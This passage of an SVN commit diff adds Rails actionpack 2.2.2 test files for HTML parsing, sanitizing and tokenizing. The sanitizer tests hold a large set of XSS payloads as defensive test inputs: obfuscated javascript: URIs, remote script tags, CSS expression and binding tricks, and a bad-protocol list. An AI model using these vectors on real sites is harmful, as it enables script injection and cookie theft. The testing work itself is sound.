+    assert [email protected]?
+  end
+  
+  def test_to_s
+    assert_equal "1twothree", @node.to_s
+  end
+  
+  def test_find
+    assert_equal "two", @node.find('blah').to_s
+  end
+
+  def test_parse_strict
+    s = "<b foo='hello'' bar='baz'>"
+    assert_raise(RuntimeError) { HTML::Node.parse(nil,0,0,s) }
+  end
+
+  def test_parse_relaxed
+    s = "<b foo='hello'' bar='baz'>"
+    node = nil
+    assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
+    assert node.attributes.has_key?("foo")
+    assert !node.attributes.has_key?("bar")
+  end
+
+  def test_to_s_with_boolean_attrs
+    s = "<b foo bar>"
+    node = HTML::Node.parse(nil,0,0,s)
+    assert node.attributes.has_key?("foo")
+    assert node.attributes.has_key?("bar")
+    assert "<b foo bar>", node.to_s
+  end
+  
+  def test_parse_with_unclosed_tag
+    s = "<span onmouseover='bang'"
+    node = nil
+    assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
+    assert node.attributes.has_key?("onmouseover")
+  end
+
+  def test_parse_with_valid_cdata_section
+    s = "<![CDATA[<span>contents</span>]]>"
+    node = nil
+    assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
+    assert_kind_of HTML::CDATA, node
+    assert_equal '<span>contents</span>', node.content
+  end
+
+  def test_parse_strict_with_unterminated_cdata_section
+    s = "<![CDATA[neverending..."
+    assert_raise(RuntimeError) { HTML::Node.parse(nil,0,0,s) }
+  end
+
+  def test_parse_relaxed_with_unterminated_cdata_section
+    s = "<![CDATA[neverending..."
+    node = nil
+    assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
+    assert_kind_of HTML::CDATA, node
+    assert_equal 'neverending...', node.content
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/sanitizer_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/sanitizer_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/sanitizer_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,273 @@
+require 'abstract_unit'
+
+class SanitizerTest < Test::Unit::TestCase
+  def setup
+    @sanitizer = nil # used by assert_sanitizer
+  end
+
+  def test_strip_tags
+    sanitizer = HTML::FullSanitizer.new
+    assert_equal("<<<bad html", sanitizer.sanitize("<<<bad html"))
+    assert_equal("<<", sanitizer.sanitize("<<<bad html>"))
+    assert_equal("Dont touch me", sanitizer.sanitize("Dont touch me"))
+    assert_equal("This is a test.", sanitizer.sanitize("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
+    assert_equal("Weirdos", sanitizer.sanitize("Wei<<a>a onclick='alert(document.cookie);'</a>/>rdos"))
+    assert_equal("This is a test.", sanitizer.sanitize("This is a test."))
+    assert_equal(
+    %{This is a test.\n\n\nIt no longer contains any HTML.\n}, sanitizer.sanitize(
+    %{<title>This is <b>a <a href="" target="_blank">test</a></b>.</title>\n\n<!-- it has a comment -->\n\n<p>It no <b>longer <strong>contains <em>any <strike>HTML</strike></em>.</strong></b></p>\n}))
+    assert_equal "This has a  here.", sanitizer.sanitize("This has a <!-- comment --> here.")
+    assert_equal "This has a  here.", sanitizer.sanitize("This has a <![CDATA[<section>]]> here.")
+    assert_equal "This has an unclosed ", sanitizer.sanitize("This has an unclosed <![CDATA[<section>]] here...")
+    [nil, '', '   '].each { |blank| assert_equal blank, sanitizer.sanitize(blank) }
+  end
+
+  def test_strip_links
+    sanitizer = HTML::LinkSanitizer.new
+    assert_equal "Dont touch me", sanitizer.sanitize("Dont touch me")    
+    assert_equal "on my mind\nall day long", sanitizer.sanitize("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
+    assert_equal "0wn3d", sanitizer.sanitize("<a href='http://www.rubyonrails.com/'><a href='http://www.rubyonrails.com/' onlclick='steal()'>0wn3d</a></a>") 
+    assert_equal "Magic", sanitizer.sanitize("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic") 
+    assert_equal "FrrFox", sanitizer.sanitize("<href onlclick='steal()'>FrrFox</a></href>") 
+    assert_equal "My mind\nall <b>day</b> long", sanitizer.sanitize("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
+    assert_equal "all <b>day</b> long", sanitizer.sanitize("<<a>a href='hello'>all <b>day</b> long<</A>/a>")
+
+    assert_equal "<a<a", sanitizer.sanitize("<a<a")
+  end
+
+  def test_sanitize_form
+    assert_sanitized "<form action=\"/foo/bar\" method=\"post\"><input></form>", ''
+  end
+
+  def test_sanitize_plaintext
+    raw = "<plaintext><span>foo</span></plaintext>"
+    assert_sanitized raw, "<span>foo</span>"
+  end
+
+  def test_sanitize_script
+    assert_sanitized "a b c<script language=\"Javascript\">blah blah blah</script>d e f", "a b cd e f"
+  end
+
+  # fucked
+  def test_sanitize_js_handlers
+    raw = %{onthis="do that" <a href="#" onclick="hello" name="foo" onbogus="remove me">hello</a>}
+    assert_sanitized raw, %{onthis="do that" <a name="foo" href="#">hello</a>}
+  end
+
+  def test_sanitize_javascript_href
+    raw = %{href="javascript:bang" <a href="javascript:bang" name="hello">foo</a>, <span href="javascript:bang">bar</span>}
+    assert_sanitized raw, %{href="javascript:bang" <a name="hello">foo</a>, <span>bar</span>}
+  end
+  
+  def test_sanitize_image_src
+    raw = %{src="javascript:bang" <img src="javascript:bang" width="5">foo</img>, <span src="javascript:bang">bar</span>}
+    assert_sanitized raw, %{src="javascript:bang" <img width="5">foo</img>, <span>bar</span>}
+  end
+
+  HTML::WhiteListSanitizer.allowed_tags.each do |tag_name|
+    define_method "test_should_allow_#{tag_name}_tag" do
+      assert_sanitized "start <#{tag_name} title=\"1\" onclick=\"foo\">foo <bad>bar</bad> baz</#{tag_name}> end", %(start <#{tag_name} title="1">foo bar baz</#{tag_name}> end)
+    end
+  end
+
+  def test_should_allow_anchors
+    assert_sanitized %(<a href="foo" onclick="bar"><script>baz</script></a>), %(<a href="foo"></a>)
+  end
+
+  # RFC 3986, sec 4.2
+  def test_allow_colons_in_path_component
+    assert_sanitized("<a href=\"./this:that\">foo</a>")
+  end
+
+  %w(src width height alt).each do |img_attr|
+    define_method "test_should_allow_image_#{img_attr}_attribute" do
+      assert_sanitized %(<img #{img_attr}="foo" onclick="bar" />), %(<img #{img_attr}="foo" />)
+    end
+  end
+
+  def test_should_handle_non_html
+    assert_sanitized 'abc'
+  end
+
+  def test_should_handle_blank_text
+    assert_sanitized nil
+    assert_sanitized ''
+  end
+
+  def test_should_allow_custom_tags
+    text = "<u>foo</u>"
+    sanitizer = HTML::WhiteListSanitizer.new
+    assert_equal(text, sanitizer.sanitize(text, :tags => %w(u)))
+  end
+
+  def test_should_allow_only_custom_tags
+    text = "<u>foo</u> with <i>bar</i>"
+    sanitizer = HTML::WhiteListSanitizer.new
+    assert_equal("<u>foo</u> with bar", sanitizer.sanitize(text, :tags => %w(u)))
+  end
+
+  def test_should_allow_custom_tags_with_attributes
+    text = %(<blockquote cite="http://example.com/">foo</blockquote>)
+    sanitizer = HTML::WhiteListSanitizer.new
+    assert_equal(text, sanitizer.sanitize(text))
+  end
+
+  def test_should_allow_custom_tags_with_custom_attributes
+    text = %(<blockquote foo="bar">Lorem ipsum</blockquote>)
+    sanitizer = HTML::WhiteListSanitizer.new
+    assert_equal(text, sanitizer.sanitize(text, :attributes => ['foo']))
+  end
+
+  [%w(img src), %w(a href)].each do |(tag, attr)|
+    define_method "test_should_strip_#{attr}_attribute_in_#{tag}_with_bad_protocols" do
+      assert_sanitized %(<#{tag} #{attr}="javascript:bang" title="1">boo</#{tag}>), %(<#{tag} title="1">boo</#{tag}>)
+    end
+  end
+
+  def test_should_flag_bad_protocols
+    sanitizer = HTML::WhiteListSanitizer.new
+    %w(about chrome data disk hcp help javascript livescript lynxcgi lynxexec ms-help ms-its mhtml mocha opera res resource shell vbscript view-source vnd.ms.radio wysiwyg).each do |proto|
+      assert sanitizer.send(:contains_bad_protocols?, 'src', "#{proto}://bad")
+    end
+  end
+
+  def test_should_accept_good_protocols
+    sanitizer = HTML::WhiteListSanitizer.new
+    HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
+      assert !sanitizer.send(:contains_bad_protocols?, 'src', "#{proto}://good")
+    end
+  end
+
+  def test_should_reject_hex_codes_in_protocol
+    assert_sanitized %(<a href="&#37;6A&#37;61&#37;76&#37;61&#37;73&#37;63&#37;72&#37;69&#37;70&#37;74&#37;3A&#37;61&#37;6C&#37;65&#37;72&#37;74&#37;28&#37;22&#37;58&#37;53&#37;53&#37;22&#37;29">1</a>), "<a>1</a>"
+    assert @sanitizer.send(:contains_bad_protocols?, 'src', "%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%22%58%53%53%22%29")
+  end
+
+  def test_should_block_script_tag
+    assert_sanitized %(<SCRIPT\nSRC=http://ha.ckers.org/xss.js></SCRIPT>), ""
+  end
+
+  [%(<IMG SRC="javascript:alert('XSS');">), 
+   %(<IMG SRC=javascript:alert('XSS')>), 
+   %(<IMG SRC=JaVaScRiPt:alert('XSS')>), 
+   %(<IMG """><SCRIPT>alert("XSS")</SCRIPT>">),
+   %(<IMG SRC=javascript:alert(&quot;XSS&quot;)>),
+   %(<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>),
+   %(<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>),
+   %(<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>),
+   %(<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>),
+   %(<IMG SRC="jav\tascript:alert('XSS');">),
+   %(<IMG SRC="jav&#x09;ascript:alert('XSS');">),
+   %(<IMG SRC="jav&#x0A;ascript:alert('XSS');">),
+   %(<IMG SRC="jav&#x0D;ascript:alert('XSS');">),
+   %(<IMG SRC=" &#14;  javascript:alert('XSS');">),
+   %(<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>)].each_with_index do |img_hack, i|
+    define_method "test_should_not_fall_for_xss_image_hack_#{i+1}" do
+      assert_sanitized img_hack, "<img>"
+    end
+  end
+  
+  def test_should_sanitize_tag_broken_up_by_null
+    assert_sanitized %(<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>), "alert(\"XSS\")"
+  end
+  
+  def test_should_sanitize_invalid_script_tag
+    assert_sanitized %(<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>), ""
+  end
+  
+  def test_should_sanitize_script_tag_with_multiple_open_brackets
+    assert_sanitized %(<<SCRIPT>alert("XSS");//<</SCRIPT>), "&lt;"
+    assert_sanitized %(<iframe src=http://ha.ckers.org/scriptlet.html\n<a), %(&lt;a)
+  end
+  
+  def test_should_sanitize_unclosed_script
+    assert_sanitized %(<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>), "<b>"
+  end
+  
+  def test_should_sanitize_half_open_scripts
+    assert_sanitized %(<IMG SRC="javascript:alert('XSS')"), "<img>"
+  end
+  
+  def test_should_not_fall_for_ridiculous_hack
+    img_hack = %(<IMG\nSRC\n=\n"\nj\na\nv\na\ns\nc\nr\ni\np\nt\n:\na\nl\ne\nr\nt\n(\n'\nX\nS\nS\n'\n)\n"\n>)
+    assert_sanitized img_hack, "<img>"
+  end
+
+  # fucked
+  def test_should_sanitize_attributes
+    assert_sanitized %(<SPAN title="'><script>alert()</script>">blah</SPAN>), %(<span title="'&gt;&lt;script&gt;alert()&lt;/script&gt;">blah</span>)
+  end
+
+  def test_should_sanitize_illegal_style_properties
+    raw      = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
+    expected = %(display: block; width: 100%; height: 100%; background-color: black; background-image: ; background-x: center; background-y: center;)
+    assert_equal expected, sanitize_css(raw)
+  end
+
+  def test_should_sanitize_with_trailing_space
+    raw = "display:block; "
+    expected = "display: block;"
+    assert_equal expected, sanitize_css(raw)
+  end
+
+  def test_should_sanitize_xul_style_attributes
+    raw = %(-moz-binding:url('http://ha.ckers.org/xssmoz.xml#xss'))
+    assert_equal '', sanitize_css(raw)
+  end
+  
+  def test_should_sanitize_invalid_tag_names
+    assert_sanitized(%(a b c<script/XSS src="http://ha.ckers.org/xss.js"></script>d e f), "a b cd e f")
+  end
+  
+  def test_should_sanitize_non_alpha_and_non_digit_characters_in_tags
+    assert_sanitized('<a onclick!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>foo</a>', "<a>foo</a>")
+  end
+  
+  def test_should_sanitize_invalid_tag_names_in_single_tags
+    assert_sanitized('<img/src="http://ha.ckers.org/xss.js"/>', "<img />")
+  end
+
+  def test_should_sanitize_img_dynsrc_lowsrc
+    assert_sanitized(%(<img lowsrc="javascript:alert('XSS')" />), "<img />")
+  end
+
+  def test_should_sanitize_div_background_image_unicode_encoded
+    raw = %(background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029)
+    assert_equal '', sanitize_css(raw)
+  end
+
+  def test_should_sanitize_div_style_expression
+    raw = %(width: expression(alert('XSS'));)
+    assert_equal '', sanitize_css(raw)
+  end
+
+  def test_should_sanitize_img_vbscript
+    assert_sanitized %(<img src='vbscript:msgbox("XSS")' />), '<img />'
+  end
+
+  def test_should_sanitize_cdata_section
+    assert_sanitized "<![CDATA[<span>section</span>]]>", "&lt;![CDATA[&lt;span>section&lt;/span>]]>"
+  end
+
+  def test_should_sanitize_unterminated_cdata_section
+    assert_sanitized "<![CDATA[<span>neverending...", "&lt;![CDATA[&lt;span>neverending...]]>"
+  end
+
+  def test_should_not_mangle_urls_with_ampersand
+     assert_sanitized %{<a href=\"http://www.domain.com?var1=1&amp;var2=2\">my link</a>}
+  end
+
+protected
+  def assert_sanitized(input, expected = nil)
+    @sanitizer ||= HTML::WhiteListSanitizer.new
+    if input
+      assert_dom_equal expected || input, @sanitizer.sanitize(input)
+    else
+      assert_nil @sanitizer.sanitize(input)
+    end
+  end
+
+  def sanitize_css(input)
+    (@sanitizer ||= HTML::WhiteListSanitizer.new).sanitize_css(input)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/tag_node_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/tag_node_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/tag_node_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,238 @@
+require 'abstract_unit'
+
+class TagNodeTest < Test::Unit::TestCase
+  def test_open_without_attributes
+    node = tag("<tag>")
+    assert_equal "tag", node.name
+    assert_equal Hash.new, node.attributes
+    assert_nil node.closing
+  end
+  
+  def test_open_with_attributes
+    node = tag("<TAG1 foo=hey_ho x:bar=\"blah blah\" BAZ='blah blah blah' >")
+    assert_equal "tag1", node.name
+    assert_equal "hey_ho", node["foo"]
+    assert_equal "blah blah", node["x:bar"]
+    assert_equal "blah blah blah", node["baz"]
+  end
+  
+  def test_self_closing_without_attributes
+    node = tag("<tag/>")
+    assert_equal "tag", node.name
+    assert_equal Hash.new, node.attributes
+    assert_equal :self, node.closing
+  end
+  
+  def test_self_closing_with_attributes
+    node = tag("<tag a=b/>")
+    assert_equal "tag", node.name
+    assert_equal( { "a" => "b" }, node.attributes )
+    assert_equal :self, node.closing
+  end
+  
+  def test_closing_without_attributes
+    node = tag("</tag>")
+    assert_equal "tag", node.name
+    assert_nil node.attributes
+    assert_equal :close, node.closing
+  end
+  
+  def test_bracket_op_when_no_attributes
+    node = tag("</tag>")
+    assert_nil node["foo"]
+  end
+
+  def test_bracket_op_when_attributes
+    node = tag("<tag a=b/>")
+    assert_equal "b", node["a"]
+  end
+  
+  def test_attributes_with_escaped_quotes
+    node = tag("<tag a='b\\'c' b=\"bob \\\"float\\\"\">")
+    assert_equal "b\\'c", node["a"]
+    assert_equal "bob \\\"float\\\"", node["b"]
+  end
+  
+  def test_to_s
+    node = tag("<a b=c d='f' g=\"h 'i'\" />")
+    assert_equal %(<a b='c' d='f' g='h \\'i\\'' />), node.to_s
+  end
+  
+  def test_tag
+    assert tag("<tag>").tag?
+  end
+  
+  def test_match_tag_as_string
+    assert tag("<tag>").match(:tag => "tag")
+    assert !tag("<tag>").match(:tag => "b")
+  end
+  
+  def test_match_tag_as_regexp
+    assert tag("<tag>").match(:tag => /t.g/)
+    assert !tag("<tag>").match(:tag => /t[bqs]g/)
+  end
+
+  def test_match_attributes_as_string
+    t = tag("<tag a=something b=else />")
+    assert t.match(:attributes => {"a" => "something"})
+    assert t.match(:attributes => {"b" => "else"})
+  end
+  
+  def test_match_attributes_as_regexp
+    t = tag("<tag a=something b=else />")
+    assert t.match(:attributes => {"a" => /^something$/})
+    assert t.match(:attributes => {"b" =>  /e.*e/})
+    assert t.match(:attributes => {"a" => /me..i/, "b" => /.ls.$/})
+  end
+  
+  def test_match_attributes_as_number
+    t = tag("<tag a=15 b=3.1415 />")
+    assert t.match(:attributes => {"a" => 15})
+    assert t.match(:attributes => {"b" => 3.1415})
+    assert t.match(:attributes => {"a" => 15, "b" => 3.1415})
+  end
+  
+  def test_match_attributes_exist
+    t = tag("<tag a=15 b=3.1415 />")
+    assert t.match(:attributes => {"a" => true})
+    assert t.match(:attributes => {"b" => true})
+    assert t.match(:attributes => {"a" => true, "b" => true})
+  end
+  
+  def test_match_attributes_not_exist
+    t = tag("<tag a=15 b=3.1415 />")
+    assert t.match(:attributes => {"c" => false})
+    assert t.match(:attributes => {"c" => nil})
+    assert t.match(:attributes => {"a" => true, "c" => false})
+  end
+  
+  def test_match_parent_success
+    t = tag("<tag a=15 b='hello'>", tag("<foo k='value'>"))
+    assert t.match(:parent => {:tag => "foo", :attributes => {"k" => /v.l/, "j" => false}})
+  end
+  
+  def test_match_parent_fail
+    t = tag("<tag a=15 b='hello'>", tag("<foo k='value'>"))
+    assert !t.match(:parent => {:tag => /kafka/})
+  end
+  
+  def test_match_child_success
+    t = tag("<tag x:k='something'>")
+    tag("<child v=john a=kelly>", t)
+    tag("<sib m=vaughn v=james>", t)
+    assert t.match(:child => { :tag => "sib", :attributes => {"v" => /j/}})
+    assert t.match(:child => { :attributes => {"a" => "kelly"}})
+  end
+  
+  def test_match_child_fail
+    t = tag("<tag x:k='something'>")
+    tag("<child v=john a=kelly>", t)
+    tag("<sib m=vaughn v=james>", t)
+    assert !t.match(:child => { :tag => "sib", :attributes => {"v" => /r/}})
+    assert !t.match(:child => { :attributes => {"v" => false}})
+  end
+  
+  def test_match_ancestor_success
+    t = tag("<tag x:k='something'>", tag("<parent v=john a=kelly>", tag("<grandparent m=vaughn v=james>")))
+    assert t.match(:ancestor => {:tag => "parent", :attributes => {"a" => /ll/}})
+    assert t.match(:ancestor => {:attributes => {"m" => "vaughn"}})
+  end
+  
+  def test_match_ancestor_fail
+    t = tag("<tag x:k='something'>", tag("<parent v=john a=kelly>", tag("<grandparent m=vaughn v=james>")))
+    assert !t.match(:ancestor => {:tag => /^parent/, :attributes => {"v" => /m/}})
+    assert !t.match(:ancestor => {:attributes => {"v" => false}})
+  end
+
+  def test_match_descendant_success
+    tag("<grandchild m=vaughn v=james>", tag("<child v=john a=kelly>", t = tag("<tag x:k='something'>")))
+    assert t.match(:descendant => {:tag => "child", :attributes => {"a" => /ll/}})
+    assert t.match(:descendant => {:attributes => {"m" => "vaughn"}})
+  end
+  
+  def test_match_descendant_fail
+    tag("<grandchild m=vaughn v=james>", tag("<child v=john a=kelly>", t = tag("<tag x:k='something'>")))
+    assert !t.match(:descendant => {:tag => /^child/, :attributes => {"v" => /m/}})
+    assert !t.match(:descendant => {:attributes => {"v" => false}})
+  end
+  
+  def test_match_child_count
+    t = tag("<tag x:k='something'>")
+    tag("hello", t)
+    tag("<child v=john a=kelly>", t)
+    tag("<sib m=vaughn v=james>", t)
+    assert t.match(:children => { :count => 2 })
+    assert t.match(:children => { :count => 2..4 })
+    assert t.match(:children => { :less_than => 4 })
+    assert t.match(:children => { :greater_than => 1 })
+    assert !t.match(:children => { :count => 3 })
+  end
+
+  def test_conditions_as_strings
+    t = tag("<tag x:k='something'>")
+    assert t.match("tag" => "tag")
+    assert t.match("attributes" => { "x:k" => "something" })
+    assert !t.match("tag" => "gat")
+    assert !t.match("attributes" => { "x:j" => "something" })
+  end
+
+  def test_attributes_as_symbols
+    t = tag("<child v=john a=kelly>")
+    assert t.match(:attributes => { :v => /oh/ })
+    assert t.match(:attributes => { :a => /ll/ })
+  end
+
+  def test_match_sibling
+    t = tag("<tag x:k='something'>")
+    tag("hello", t)
+    tag("<span a=b>", t)
+    tag("world", t)
+    m = tag("<span k=r>", t)
+    tag("<span m=l>", t)
+
+    assert m.match(:sibling => {:tag => "span", :attributes => {:a => true}})
+    assert m.match(:sibling => {:tag => "span", :attributes => {:m => true}})
+    assert !m.match(:sibling => {:tag => "span", :attributes => {:k => true}})
+  end
+
+  def test_match_sibling_before
+    t = tag("<tag x:k='something'>")
+    tag("hello", t)
+    tag("<span a=b>", t)
+    tag("world", t)
+    m = tag("<span k=r>", t)
+    tag("<span m=l>", t)
+
+    assert m.match(:before => {:tag => "span", :attributes => {:m => true}})
+    assert !m.match(:before => {:tag => "span", :attributes => {:a => true}})
+    assert !m.match(:before => {:tag => "span", :attributes => {:k => true}})
+  end
+
+  def test_match_sibling_after
+    t = tag("<tag x:k='something'>")
+    tag("hello", t)
+    tag("<span a=b>", t)
+    tag("world", t)
+    m = tag("<span k=r>", t)
+    tag("<span m=l>", t)
+
+    assert m.match(:after => {:tag => "span", :attributes => {:a => true}})
+    assert !m.match(:after => {:tag => "span", :attributes => {:m => true}})
+    assert !m.match(:after => {:tag => "span", :attributes => {:k => true}})
+  end
+
+  def test_to_s
+    t = tag("<b x='foo'>")
+    tag("hello", t)
+    tag("<hr />", t)
+    assert_equal %(<b x="foo">hello<hr /></b>), t.to_s
+  end
+
+  private
+  
+    def tag(content, parent=nil)
+      node = HTML::Node.parse(parent,0,0,content)
+      parent.children << node if parent
+      node
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/text_node_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/text_node_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/text_node_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,50 @@
+require 'abstract_unit'
+
+class TextNodeTest < Test::Unit::TestCase
+  def setup
+    @node = HTML::Text.new(nil, 0, 0, "hello, howdy, aloha, annyeong")
+  end
+  
+  def test_to_s
+    assert_equal "hello, howdy, aloha, annyeong", @node.to_s
+  end
+  
+  def test_find_string
+    assert_equal @node, @node.find("hello, howdy, aloha, annyeong")
+    assert_equal false, @node.find("bogus")
+  end
+  
+  def test_find_regexp
+    assert_equal @node, @node.find(/an+y/)
+    assert_nil @node.find(/b/)
+  end
+  
+  def test_find_hash
+    assert_equal @node, @node.find(:content => /howdy/)
+    assert_nil @node.find(:content => /^howdy$/)
+    assert_equal false, @node.find(:content => "howdy")
+  end
+  
+  def test_find_other
+    assert_nil @node.find(:hello)
+  end
+
+  def test_match_string
+    assert @node.match("hello, howdy, aloha, annyeong")
+    assert_equal false, @node.match("bogus")
+  end
+
+  def test_match_regexp
+    assert_not_nil @node, @node.match(/an+y/)
+    assert_nil @node.match(/b/)
+  end
+
+  def test_match_hash
+    assert_not_nil @node, @node.match(:content => "howdy")
+    assert_nil @node.match(:content => /^howdy$/)
+  end
+
+  def test_match_other
+    assert_nil @node.match(:hello)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/tokenizer_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/tokenizer_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner/tokenizer_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,131 @@
+require 'abstract_unit'
+
+class TokenizerTest < Test::Unit::TestCase
+
+  def test_blank
+    tokenize ""
+    assert_end
+  end
+
+  def test_space
+    tokenize " "
+    assert_next " "
+    assert_end
+  end
+
+  def test_tag_simple_open
+    tokenize "<tag>"
+    assert_next "<tag>"
+    assert_end
+  end
+
+  def test_tag_simple_self_closing
+    tokenize "<tag />"
+    assert_next "<tag />"
+    assert_end
+  end
+
+  def test_tag_simple_closing
+    tokenize "</tag>"
+    assert_next "</tag>"
+  end
+  
+  def test_tag_with_single_quoted_attribute
+    tokenize %{<tag a='hello'>x}
+    assert_next %{<tag a='hello'>}
+  end
+
+  def test_tag_with_single_quoted_attribute_with_escape
+    tokenize %{<tag a='hello\\''>x}
+    assert_next %{<tag a='hello\\''>}
+  end
+
+  def test_tag_with_double_quoted_attribute
+    tokenize %{<tag a="hello">x}
+    assert_next %{<tag a="hello">}
+  end
+
+  def test_tag_with_double_quoted_attribute_with_escape
+    tokenize %{<tag a="hello\\"">x}
+    assert_next %{<tag a="hello\\"">}
+  end
+  
+  def test_tag_with_unquoted_attribute
+    tokenize %{<tag a=hello>x}
+    assert_next %{<tag a=hello>}
+  end
+
+  def test_tag_with_lt_char_in_attribute
+    tokenize %{<tag a="x < y">x}
+    assert_next %{<tag a="x < y">}
+  end
+  
+  def test_tag_with_gt_char_in_attribute
+    tokenize %{<tag a="x > y">x}
+    assert_next %{<tag a="x > y">}
+  end
+  
+  def test_doctype_tag
+    tokenize %{<!DOCTYPE "blah" "blah" "blah">\n    <html>}
+    assert_next %{<!DOCTYPE "blah" "blah" "blah">}
+    assert_next %{\n    }
+    assert_next %{<html>}
+  end
+
+  def test_cdata_tag
+    tokenize %{<![CDATA[<br>]]>}
+    assert_next %{<![CDATA[<br>]]>}
+    assert_end
+  end
+
+  def test_unterminated_cdata_tag
+    tokenize %{<content:encoded><![CDATA[ neverending...}
+    assert_next %{<content:encoded>}
+    assert_next %{<![CDATA[ neverending...}
+    assert_end
+  end
+
+  def test_less_than_with_space
+    tokenize %{original < hello > world}
+    assert_next %{original }
+    assert_next %{< hello > world}
+  end
+  
+  def test_less_than_without_matching_greater_than
+    tokenize %{hello <span onmouseover="gotcha"\n<b>foo</b>\nbar</span>}
+    assert_next %{hello }
+    assert_next %{<span onmouseover="gotcha"\n}
+    assert_next %{<b>}
+    assert_next %{foo}
+    assert_next %{</b>}
+    assert_next %{\nbar}
+    assert_next %{</span>}
+    assert_end
+  end
+
+  def test_unterminated_comment
+    tokenize %{hello <!-- neverending...}
+    assert_next %{hello }
+    assert_next %{<!-- neverending...}
+    assert_end
+  end
+  
+  private
+  
+    def tokenize(text)
+      @tokenizer = HTML::Tokenizer.new(text)
+    end
+    
+    def assert_next(expected, message=nil)
+      token = @tokenizer.next
+      assert_equal expected, token, message
+    end
+    
+    def assert_sequence(*expected)
+      assert_next expected.shift until expected.empty?
+    end
+    
+    def assert_end(message=nil)
+      assert_nil @tokenizer.next, message
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/http_authentication_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/http_authentication_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/http_authentication_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,54 @@
+require 'abstract_unit'
+
+class HttpBasicAuthenticationTest < Test::Unit::TestCase
+  include ActionController::HttpAuthentication::Basic
+  
+  class DummyController
+    attr_accessor :headers, :renders, :request
+    
+    def initialize
+      @headers, @renders = {}, []
+      @request = ActionController::TestRequest.new
+    end
+    
+    def render(options)
+      self.renders << options
+    end
+  end
+
+  def setup
+    @controller  = DummyController.new
+    @credentials = ActionController::HttpAuthentication::Basic.encode_credentials("dhh", "secret")
+  end
+
+  def test_successful_authentication
+    login = Proc.new { |user_name, password| user_name == "dhh" && password == "secret" }
+    set_headers
+    assert authenticate(@controller, &login)
+
+    set_headers ''
+    assert_nothing_raised do
+      assert !authenticate(@controller, &login)
+    end
+
+    set_headers nil
+    set_headers @credentials, 'REDIRECT_X_HTTP_AUTHORIZATION'
+    assert authenticate(@controller, &login)
+  end
+
+  def test_failing_authentication
+    set_headers
+    assert !authenticate(@controller) { |user_name, password| user_name == "dhh" && password == "incorrect" }
+  end
+  
+  def test_authentication_request
+    authentication_request(@controller, "Megaglobalapp")
+    assert_equal 'Basic realm="Megaglobalapp"', @controller.headers["WWW-Authenticate"]
